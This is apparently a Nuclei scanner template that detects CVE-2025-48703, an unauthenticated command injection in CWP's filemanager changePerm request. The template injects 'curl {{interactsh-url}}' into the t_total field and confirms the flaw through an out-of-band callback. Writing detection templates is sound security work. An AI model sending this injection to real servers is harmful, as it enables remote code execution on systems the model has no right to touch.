id: CVE-2025-48703

info:
  name: "CWP - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1205 allows unauthenticated remote code execution
    via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root
    username must be known.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-48703&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cwp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-48703
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2025,cwp,cwpsrv,rce,intrusive,file-upload,oast,oob,vkev,kev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'Control WebPanel', 'cwp')"
        condition: and
        internal: true

  - raw:
      - |
        POST /{{username}}/index.php?module=filemanager&acc=changePerm HTTP/1.1
        Host: {{hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb

        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="fileName"

        .bashrc
        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="currentPath"

        /home/{{username}}
        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="recursive"


        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb
        Content-Disposition: form-data; name="t_total"

        curl {{interactsh-url}}
        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"